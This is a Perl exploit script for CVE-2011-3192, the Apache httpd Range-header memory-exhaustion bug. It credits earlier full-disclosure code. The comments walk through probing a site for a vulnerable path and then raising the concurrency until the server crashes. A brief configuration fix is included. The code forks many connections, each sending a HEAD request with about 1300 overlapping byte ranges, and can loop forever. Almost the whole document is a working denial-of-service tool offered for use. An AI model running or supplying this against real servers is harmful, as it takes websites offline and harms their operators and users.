#!/usr/bin/perl 

#
# Apache httpd Remote Denial of Service (memory exhaustion)
# due to a flawed implementation of Partial Content requests
# (CVE-2011-3192).
#
# by Javier, based on Kingcope's code at 
# http://seclists.org/fulldisclosure/2011/Aug/175
#
# Aug 25 2011
#
# Successful exploitation will result in swapping memory to 
# filesystem on the remote side and killing of processes 
# when running out of swap space.
#
# WARNING: The exploited system will become unstable and even crash.
# THIS TOOL IS PROVIDED "AS IS", USE IT AT YOUR OWN RISK.
#
# Usage:
# 
# 1) Try to find an exploitable URL on the website.
#    You just can run the script starting with the root
#    path "/" (default) and looking at the server response.
#
# 2) If you get as response "HTTP/1.1 206 Partial Content..."
#    then the server is exploitable at the issued path.
#    If not, you could try using a different one.
#
#    Be aware that only Apache webservers are vulnerable 
#    (look at the "Server" field in the response,
#    but don't always believe it ;) ).
#
# 3) Once discovered an exploitable path you can run
#    ./apachepartial.pl www.example.com /somepath/
#
# 4) With the default value of 10 concurrent requests, you 
#    should notice a significant increase in memory consumption.
#    If you raise to 50 or more simultaneous reqs, you can 
#    crash the server.
#
# MENTAL NOTE: I have to use a virtual machine when testing this
# sort of things on my local webserver to avoid crashing myself.
#
# FIX: 
#
# A temporary fix has been posted on:
#   http://mail-archives.apache.org/mod_mbox/httpd-announce/201108.mbox/%3C20110824161640.122D387DD@minotaur.apache.org%3E
#
# I've tried enabling mod_setenvif and mod_headers and adding 
# the following directives on the apache global configuration:
#
#   SetEnvIf Range (,.*?){5,} bad-range=1 
#   RequestHeader unset Range env=bad-range 
#
# This ignore Range header when the request includes 5 or more.
#
#

use strict;
use warnings "all";
use IO::Socket;

use vars qw($host $port $path $numforks $useragent $loops);

sub showusage {
	print "\nApache Remote Denial of Service (memory exhaustion)\n";
	print "due to a flawed implementation of Partial Content requests\n";
	print "(CVE-2011-3192).\n\n";
	print "by Javier, based on Kingcope's code available at\n";
	print "http://seclists.org/fulldisclosure/2011/Aug/175\n\n";
	print "Usage: ./apachepartial.pl <host> [path] [parallel reqs] [loops] [port]\n";
	print "         [path] defaults to '/'\n";
	print "         [parallel reqs] defaults to 10\n";
	print "         [loops] defaults to 5 (0 = infinite)\n";
	print "         [port] defaults to 80\n\n";
	print "Example: For attacking http://www.example.com:8080/somepath/ with\n";
    print "         100 concurrent requests over 5 loops:\n";
	print "         ./apachepartial.pl www.example.com /somepath/ 100 5 8080\n\n";
	print "See the comments at the beginning of the script code.\n\n";
	print "WARNING: The exploited system may become unstable and even crash.\n";
	print "         THIS TOOL IS PROVIDED 'AS IS', USE IT AT YOUR OWN RISK.\n\n";
	exit;	
}

sub testserver {
	my $sock = IO::Socket::INET->new(PeerAddr => $host,
	                                PeerPort => $port,
	                     			Proto    => 'tcp')
		|| die "Can't connect to $host";

	my $req = "HEAD $path HTTP/1.1\r\nHost: $host\r\n";
	$req .= "User-Agent: $useragent\r\nRange:bytes=0-100\r\n";
	$req .= "Accept-Encoding: gzip\r\nConnection: close\r\n\r\n";

	print "\nTesting http://$host:$port$path\n\n"; 
	print "Request:\n$req";
	print $sock $req;

 	my $resp = '';
	while (my $line = <$sock>) {
		$resp .= $line
	}
	print "Response:\n$resp";

	return ($resp =~ /^HTTP\/1.1 206/);
}

sub exploitserver {
	$|=1;
	srand(time());

	my $range = '';
	for (my $limit = 0; $limit < 1300; $limit++) {
		$range .= ",5-$limit";
	}

	my @children = ();
	for (1..$numforks) {

		my $pid = fork(); 	

		if ($pid) {
			push(@children, $pid);
		} else {
			my $sock = IO::Socket::INET->new(PeerAddr => $host,
                		                 PeerPort => $port,
	                	     			 Proto    => 'tcp')
				|| die "Can't connect to $host:$port";

			my $req = "HEAD $path HTTP/1.1\r\nHost: $host\r\n";
			$req .= "User-Agent: $useragent\r\nRange:bytes=0-$range\r\n";
			$req .= "Accept-Encoding: gzip\r\nConnection: close\r\n\r\n";

			print $sock $req;
			while(<$sock>) {}

            print ".";
			exit;
		}
	}

	foreach (@children) {
		waitpid($_, 0);
	}
	print " finished.\n";
}

# Main program

showusage if ($#ARGV == -1);

$host = $ARGV[0];
$path = $#ARGV >= 1 ? $ARGV[1] : '/';
$numforks = $#ARGV >= 2 ? $ARGV[2] : 10;
$loops = $#ARGV >= 3 ? $ARGV[3] : 5;
$loops = -1 if ($loops == 0);
$port = $#ARGV == 4 ? $ARGV[4] : 80;

$useragent = "Apache httpd Partial Content bug exploit";

if (testserver) {
	print "Host seems vulnerable.\n\n";
	print "Hitting http://$host:$port$path\n";
	print "($numforks parallel reqs over $loops loops)\n\n";

	my $loop = 0;
	while($loop != $loops) {
		$loop++;
		print "Loop $loop ";
		exploitserver;
	}

} else {
	print "Host does not seem vulnerable (maybe another path?).\n\n";
	exit;
}
